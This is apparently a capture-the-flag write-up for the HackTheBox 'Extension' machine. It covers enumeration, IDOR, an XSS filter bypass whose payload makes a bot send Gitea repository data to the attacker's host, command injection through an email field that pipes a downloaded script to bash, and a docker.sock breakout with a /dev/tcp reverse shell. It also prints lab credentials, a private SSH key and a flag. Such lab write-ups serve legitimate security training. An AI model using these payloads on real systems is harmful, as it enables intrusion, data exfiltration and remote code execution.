This is my writeup for the Extension machine on the Hackthebox plateform.
Letās start with anĀ nmap scanĀ to enumerate the different open ports. Only 2 ports are open :
Port 22 (SSH)
Port 80 (HTTP)
> nmap -sC -sV 10.10.11.171
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.7 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 82:21:e2:a5:82:4d:df:3f:99:db:3e:d9:b3:26:52:86 (RSA)
| 256 91:3a:b2:92:2b:63:7d:91:f1:58:2b:1b:54:f9:70:3c (ECDSA)
|_ 256 65:20:39:2b:a7:3b:33:e5:ed:49:a9:ac:ea:01:bd:37 (ED25519)
80/tcp open http nginx 1.14.0 (Ubuntu)
|_http-title: snippet.htb
|_http-server-header: nginx/1.14.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Website
We can see in this nmap output that the http-title is snippet.htb. We can add it to our /etc/hosts file.
> curl -v 10.10.11.171
GET / HTTP/1.1
Host: 10.10.11.171
User-Agent: curl/7.74.0
Accept: */*
[...TRUNCATED DATA...]
<title inertia>snippet.htb</title>
[...TRUNCATED DATA...]
In the main webpage of this application, we can register and login.
The register fonctionnality seems to be disable because when we try to create a new account, the server responds “Registration not allowed at this moment !”.
We can also fuzz the vhosts to see if there are other web pages to explore ! We found 2 more vhosts that we can add to our /etc/hosts file :
dev.snippet.htb
mail.snippet.htb
> ffuf -u http://10.10.11.171/ -H "Host: FUZZ.snippet.htb" -w /opt/SecLists/Discovery/DNS/subdomains-top1million-110000.txt -fw 1022
:: Method : GET
:: URL : http://10.10.11.171/
:: Wordlist : FUZZ: /opt/SecLists/Discovery/DNS/subdomains-top1million-110000.txt
:: Header : Host: FUZZ.snippet.htb
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200,204,301,302,307,401,403
:: Filter : Response words: 1022
________________________________________________
dev [Status: 200, Size: 12729, Words: 1029, Lines: 250]
mail [Status: 200, Size: 5311, Words: 364, Lines: 97]
The Wappalyzer tool discover the technologies used to create this website. VueJS is the framework used here. Also, nuclei finds a web.config file, but nothing to interesting with it.
> nuclei -u http://10.10.11.171/
[2023-01-30 21:22:51] [web-config] [http] [info] http://10.10.11.171/web.config
The interesting point is that if we look at the sources of the application, we can find routes. With firefox, open the developper tools and click on the debugger tab. We can also see the sources when we open the source code of the page.
The source code allows us to determine a list of routes used by the application.
_ignition/health-check
_ignition/execute-solution
_ignition/share-report
_ignition/scripts/{script}
_ignition/styles/{style}
dashboard
users
snippets
snippets/{id}
snippets/update/{id}
snippets/delete/{id}
new
management/validate
management/dump
register
login
forgot-password
reset-password/{token}
reset-password
verify-email
verify-email/{id}/{hash}
email/verification-notification
confirm-password
logout
management/dump endpoint seems to be interesting because there is the word dump. This route only allows the POST method.
{
"uri": "management/dump",
"methods": [
"POST"
]
}
When we make this request on Burp Suite, the server responds that some arguments are missing.
The first solution is to use the Intruder tool. We can FUZZ the key and try to have a different error message from the server.
We can also use a Burp Suite extension called Param Miner. This tool will try a list of parameters and check for different server responses. After a few seconds, it finds the download parameter !
We can do the same thing to find the value associate with the download parameter, and we got users. Now, if we query the server with download key and users value, it responds with a large list of users and password.
Hashcat crack 4 accounts with the following password :
password123
> cat users.json | jq -r '.[] | "\(.email):\(.password)"' > hash.txt
> hashcat -m 1400 --username hash.txt /opt/rockyou.txt
letha@snippet.htb:password123
fredrick@snippet.htb:password123
gia@snippet.htb:password123
juliana@snippet.htb:password123
We could also enumerate the existing users on the machine with the password reset functionnality which returns a different message if the user exists or not. After this enumeration, the password could have been found to access the account.
Let’s log in with the letha@snippet.htb account :
letha@snippet.htb:password123
Snippets Time
Once logged in, we can browse the snippets.
There is an IDOR vulnerability allows us to see snippets that don’t belong to us. To exploit this vulnerability, we can modify the identifier in the url from 1 to 2 and see another snippet. The Gitea API snippet sends us a message that we are not authorized to see its content.
But, if we create a new snippet and modify it, we have another IDOR vulnerability if we change the identifier from the update endpoint (from 4 to 2).
Now, we are able to see the hidden contents of the snippet. There is a bash requets to the dev.snippet.htb vhost with a base64 encoded basic token.
We can decode this base64 token to get clear credentials :
> echo -n 'amVhbjpFSG1mYXIxWTdwcEE5TzVUQUlYblluSnBB' | base64 -d
jean:EHmfar1Y7ppA9O5TAIXnYnJpA
Gitea (dev.snippet.htb)
Let’s move on the dev.snippet.htb vhost. There is a Gitea service running on this vhost.
We can register and see all registered users by following this URL : http://dev.snippet.htb/explore/users
administrator@snippet.htb
charlie@snippet.htb
jean@snippet.htb
With the previous credentials, we can loggin as jean@snippet.htb. Jean has a private repository called extension.
By reading the source code, we understand that it is an extension for Firefox which displays the content of the issues on the main Gitea issue page. In order to test this extension, we will download and install it on our browser : about:debugging#/runtime/this-firefox
We can see that the content of the issue is displayed on the main page.
By reading the code and in particular the inject.js file, we can see a check(str) function which will act as a filter on user input. Indeed, some tags will be filtered to block the Cross Site Scripting (XSS) vulnerability.
function check(str) {
// remove tags
str = str.replace(/<.*?>/, "")
const filter = [";", "\'", "(", ")", "src", "script", "&", "|", "[", "]"]
for (const i of filter) {
if (str.includes(i))
return ""
}
return str
}
The first filter will replace the string between the characters < and >. The problem is that it’s not recursive and therefore only the first occurrence will be replaced. We can bypass this protection with the following payload:
<hello><img src=x />
There is also a filter on the src attribute. We can bypass this protection by playing with the case sensitive. The attribute is only checked in lowercase. We can adapt our payload to be in uppercase, for example :
<hello><img SRC=x />
Our payload works and we manage to inject code.
Every 2 minutes a bot seems to run over issues and delete them. We will try to trap the bot with this vulnerability (XSS) to make it perform actions on the Gitea via the API. Some research and some tests made it possible to find a payload which bypasses the filters set up by the extension and which will execute Javascript code.
First of all, we will convert our payload which will retrieve Charlie’s repository list in base64 and send it back to our server.
fetch('http://dev.snippet.htb/api/v1/users/charlie/repos').then(response => response.text()).then(data => fetch('http://10.10.14.11/'+btoa(data)))
Here is our final payload.
<hello><img SRC=x onerror=eval.call`${"eval\x28atob`ZmV0Y2goJ2h0dHA6Ly9kZXYuc25pcHBldC5odGIvYXBpL3YxL3VzZXJzL2NoYXJsaWUvcmVwb3MnKS50aGVuKHJlc3BvbnNlID0+IHJlc3BvbnNlLnRleHQoKSkudGhlbihkYXRhID0+IGZldGNoKCdodHRwOi8vMTAuMTAuMTQuMTEvJytidG9hKGRhdGEpKSk=`\x29"}`>
We can create a new issue and insert the payload in the body of the issue then wait for the bot.
After a few minutes, our server receives the content of the response.
The Cyberchef tool can allow us to quickly decode base64 content. Charlie has a repository called backups. The next step will be to recover its content.
In the same way, we will use the API to create our query which will display the files and folders that are in Charlie’s backups repository.
fetch('http://dev.snippet.htb/api/v1/repos/charlie/backups/contents').then(response => response.text()).then(data => fetch('http://10.10.14.11/'+btoa(data)))
<hello><img SRC=x onerror=eval.call`${"eval\x28atob`ZmV0Y2goJ2h0dHA6Ly9kZXYuc25pcHBldC5odGIvYXBpL3YxL3JlcG9zL2NoYXJsaWUvYmFja3Vwcy9jb250ZW50cycpLnRoZW4ocmVzcG9uc2UgPT4gcmVzcG9uc2UudGV4dCgpKS50aGVuKGRhdGEgPT4gZmV0Y2goJ2h0dHA6Ly8xMC4xMC4xNC4xMS8nK2J0b2EoZGF0YSkpKQ==`\x29"}`>
The repository only contains a backup.tar.gz archive.
Finally, we will make a request to retrieve the contents of the archive which will be encoded in base64.
fetch('http://dev.snippet.htb/api/v1/repos/charlie/backups/contents/backup.tar.gz').then(response => response.text()).then(data => fetch('http://10.10.14.11/'+btoa(data)))
<hello><img SRC=x onerror=eval.call`${"eval\x28atob`ZmV0Y2goJ2h0dHA6Ly9kZXYuc25pcHBldC5odGIvYXBpL3YxL3JlcG9zL2NoYXJsaWUvYmFja3Vwcy9jb250ZW50cy9iYWNrdXAudGFyLmd6JykudGhlbihyZXNwb25zZSA9PiByZXNwb25zZS50ZXh0KCkpLnRoZW4oZGF0YSA9PiBmZXRjaCgnaHR0cDovLzEwLjEwLjE0LjExLycrYnRvYShkYXRhKSkp`\x29"}`>
The archive contains the contents of Charlie’s home and in particular an interesting file which is id_rsa which contains his private SSH key.
> gunzip backups.tar.gz [Jan 30, 2023 - > tar -xvf backups.tar
home/charlie/
home/charlie/backups/
home/charlie/backups/backup.tar.gz
home/charlie/.profile
home/charlie/.bash_history
home/charlie/.bash_logout
home/charlie/.ssh/
home/charlie/.ssh/id_rsa
home/charlie/.ssh/id_rsa.pub
home/charlie/.bashrc
-----BEGIN RSA PRIVATE KEY-----
MIIEpQIBAAKCAQEAx3BQ74w6hDrMrj5bxneqSvicR8WjTBF/BEIWdzJpvWi+9onO
ufOUl0P+DE9YEv51HpOLqZ/ZuSUxzMV/Wf2Po4+aglepfGBx6GfuEm2mVH9x3T8p
OZGWvs7qMMsh86ViyLwivMm0s/NdW8I0NnKVmN9DVksJL5VO++Pc4GCkBHqQEU1p
V5FeCUX/ah8cllmGC/W4op0aVM9MTlzD5YB1IOTpZgo8dG1yvVpySHWqBuG/Hg4L
A2/lLn0OBU1nj52v4dpwuJ+7RgicgGgrJfj6roHEDsdQFs5uv0v7roYboKnknLo6
Fiz2/eQtTVb176+AhSdgs3UPqj9A7QgxV0GY6wIDAQABAoIBAQCh1N6n8rbM81WB
EjKwUgvJ+AAAMTw3jn7tup62LB8nReam8N3hf+iT8eUkogGKsBXjMMCEbKRkGu1V
BvE22YyDoRQ0LePme/ASMLs7EuSD7kI70HOoNh4HSKk53Kr5JLuKvTbG0DmkR5b6
zRRHFiWTvZ7LV+nlRZeox5ZEL8cHpejKB5wBdVJ/UvHRs/XvvZv86JFagbbfzrH6
DJz4isE9SEFxcnWtKAnCz03CoP8mI0+5klIP359hkOKx1dYfSlc4zccZqU5y1Uiv
tEtcEnvaPoARSuxA3hoN6wchnOvLbzFO2RN5vtxZ9YmztcelMOHLUrliun96sUgV
33XkTjPpAoGBAPIo0UfIT4XXscKNkSp1VXai9E3noH1E2q6fIccAvmpOA3I2AW7R
eEe1OD3beuArgL+RVF8oJOAD+UkWn8CP2bXnnT11a753WGUnPIr5Q9Mm1rZcrCD2
EF5689eKSq49ecu2ISt3lyb4VMku1GXzQ3zaFELI8eSvTNXQjpLeAWBFAoGBANLW
bQjQz81+dwud4grHGUCe2L9g0k/KmnJ//Q0+6iI9EGNmJLf5yHnYnqvIWWXSpOss
Q3ZTJGWUHJ/vDlrSpauZ6FJM9X4YLJ2DsSPFcxfcps+Y1oGE8o9Q7XHqyE4UrDiM
H36CsRGPNwmwNMNHUb/lkjELYKzSF58cTdA7Rp9vAoGBAOJL+qcWLhppoxioqwv+
cktXpO5YksX93k5pL2uE6mz1UoscpOImpjx8wX4s6PssLDjZWvtBzJP7oq4Gkmul
AlLXiz2vyWxIozaEIDPPFO7x0JzCpah3ynxAcjbuaTPDB1qzbPPt4jbswm7vcFWF
q3+1XFG87zBCEY+OQm5FQQvxAoGAfJZ3Mflqgm0T3cp7U5EZjAUR4e1N+haoM7cM
CvK9mmPpNkOauRiibdYi1TH8Gd5i1BGA///bhycBz0SNf//wJDo7fb66ZrvUSXQT
jibUfypFbHFNeJXeW/Afj+yEVxeCOZwb1D9YcR7nEBOO6kJPvYzkWZT2mMlBaiVo
mf8dGYMCgYEA2Bqocj0mcncnt2m1F6Obp3ptv7zwF/upk70lC6z3uo1xTSfnGPP/
MaX9vAmUF9XNwolFVzU6STMreBPRshW9RK+3tcx8Elxj4y+tMQCLHLvgyyYaGbp8
iPU8FQCtjFpHKqxW0xdDDvfHUeUmiQRTZ1o3kJK6mr3QM89LJC/l7gA=
-----END RSA PRIVATE KEY-----
Privesc
With Charlie’s private SSH key, we can connect to the server.
> ssh -i chalie.key charlie@snippet.htb
charlie@extension:~$ id
uid=1001(charlie) gid=1001(charlie) groups=1001(charlie)
We can log in as jean with the previous password :
jean:EHmfar1Y7ppA9O5TAIXnYnJpA
Note : We can find his password in the following file :
charlie@extension:~$ cat /home/jean/.git-credentials
http://jean:EHmfar1Y7ppA9O5TAIXnYnJpA@dev.snippet.htb
We find the application: laravel-app in the jean’s home. This application seems to be the backend where the snippets are.
jean@extension:~/projects$ ls -la
total 16
drwx------ 4 jean jean 4096 Jun 20 2022 .
drwxr-xr-x 5 jean jean 4096 Jun 28 2022 ..
drwx------ 3 jean jean 4096 Jun 23 2022 extension
drwxr-xr-x 12 jean jean 4096 Jun 20 2022 laravel-app
A search for dangerous functions in PHP finds shell_exec() which is used to check if an email is valid or not. Command injection is possible if the $domain variable can be manipulated by the user :
/home/jean/projects/laravel-app/app/Http/Controllers/AdminController.php
namespace App\Http\Controllers;
use Illuminate\Http\Request;
use Illuminate\Support\Facades\Redirect;
use Illuminate\Validation\ValidationException;
class AdminController extends Controller
{
/**
* @throws ValidationException
*/
public function validateEmail(Request $request)
{
$sec = env('APP_SECRET');
$email = urldecode($request->post('email'));
$given = $request->post('cs');
$actual = hash("sha256", $sec . $email);
$array = explode("@", $email);
$domain = end($array);
error_log("email:" . $email);
error_log("emailtrim:" . str_replace("\0", "", $email));
error_log("domain:" . $domain);
error_log("sec:" . $sec);
error_log("given:" . $given);
error_log("actual:" . $actual);
if ($given !== $actual) {
throw ValidationException::withMessages([
'email' => "Invalid signature!",
]);
} else {
$res = shell_exec("ping -c1 -W1 $domain > /dev/null && echo 'Mail is valid!' || echo 'Mail is not valid!'");
return Redirect::back()->with('message', trim($res));
}
}
}
First, we will forward the mysql port to access it locally and connect to it.
> ssh -D 7000 -i id_rsa charlie@snippet.htb
# /etc/proxychains.conf
[ProxyList]
# add proxy here ...
socks4 127.0.0.1 7000
> proxychains -q mysql -h 127.0.0.1 -P 3306 -u root -p
Enter password: toor
Welcome to the MariaDB monitor. Commands end with ; or \g.
Your MySQL connection id is 261
Server version: 5.6.51 MySQL Community Server (GPL)
Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.
Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.
MySQL [(none)]> use webapp
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A
Database changed
Then, we will retrieve the email of an administrator account on the platform. The only administrator is Charlie.
MySQL [webapp]> select id,email,user_type from users WHERE user_type="Manager";
+----+---------------------+-----------+
| id | email | user_type |
+----+---------------------+-----------+
| 1 | charlie@snippet.htb | Manager |
+----+---------------------+-----------+
1 row in set (0.027 sec)
The password hashes are encoded in SHA256, so we will generate a new one to modify Charlie’s password.
writeupbyqu35t:d1ee96fcce0bb43786f7bfd537efb955c42b195978634c51e452049e1ed67f8f
We’re updating Charlie’s password.
MySQL [webapp]> UPDATE users set password="d1ee96fcce0bb43786f7bfd537efb955c42b195978634c51e452049e1ed67f8f" WHERE id=1;
Query OK, 1 row affected (0.037 sec)
Rows matched: 1 Changed: 1 Warnings: 0
You can login to Charlie’s account at http://snippet.htb/login.
In the Members tab, we have an additional option which is to validate accounts. When you click on the Validate button, the user’s email is verified. As I explained earlier, it is this feature that is vulnerable to command injection in the mail domain that is checked.
We update a user’s email address by injecting our command after the character @.
UPDATE users set email="qu35t@10.10.14.11;curl http://10.10.14.11/22.sh|bash" WHERE id=895;
MySQL [webapp]> select id,email,user_type from users WHERE id=895;
+-----+------------------------------------------------------+-----------+
| id | email | user_type |
+-----+------------------------------------------------------+-----------+
| 895 | qu35t@10.10.14.11;curl http://10.10.14.11/22.sh|bash | Member |
+-----+------------------------------------------------------+-----------+
1 row in set (0.026 sec)
The payload is injected. You can click on the Validate button to execute the code.
Docker breakout
We are in a docker. To get out of it, you can use different techniques defined in this article : https://github.com/carlospolop/hacktricks/blob/master/linux-unix/privilege-escalation/docker-breakout.md Here, we are going to abuse the docker.sock.
application@4dae106254bf:/var/www/html/public$ find / 2>/dev/null -name docker.sock
/app/docker.sock
We see that several images exist. For example, we will use roundcube/roundcubemail.
application@4dae106254bf:/var/www/html/public$ curl -s --unix-socket /app/docker.sock http://localhost/images/json
[...TRUNCATED DATA...]
"RepoTags":["roundcube/roundcubemail:latest"],"SharedSize":-1,"Size":612284073,"VirtualSize":612284073},
[...TRUNCATED DATA...]
The following Github gist is a bash script that will use the socket to mount the host’s filesystem and send us a reverse-shell : https://gist.github.com/PwnPeter/3f0a678bf44902eae07486c9cc589c25
cmd="[\"/bin/sh\",\"-c\",\"chroot /tmp sh -c \\\"bash -c 'bash -i &>/dev/tcp/10.10.14.11/9001 0<&1'\\\"\"]"
curl -s -X POST --unix-socket /app/docker.sock -d "{\"Image\":\"roundcube/roundcubemail\",\"cmd\":$cmd,\"Binds\":[\"/:/tmp:rw\"]}" -H 'Content-Type: application/json' http://localhost/containers/create?name=root
curl -s -X POST --unix-socket /app/docker.sock "http://localhost/containers/root/start"
root@ce2855e28813:~# cat root.txt
0bfd448ff0d561b43f9505b0b108bb03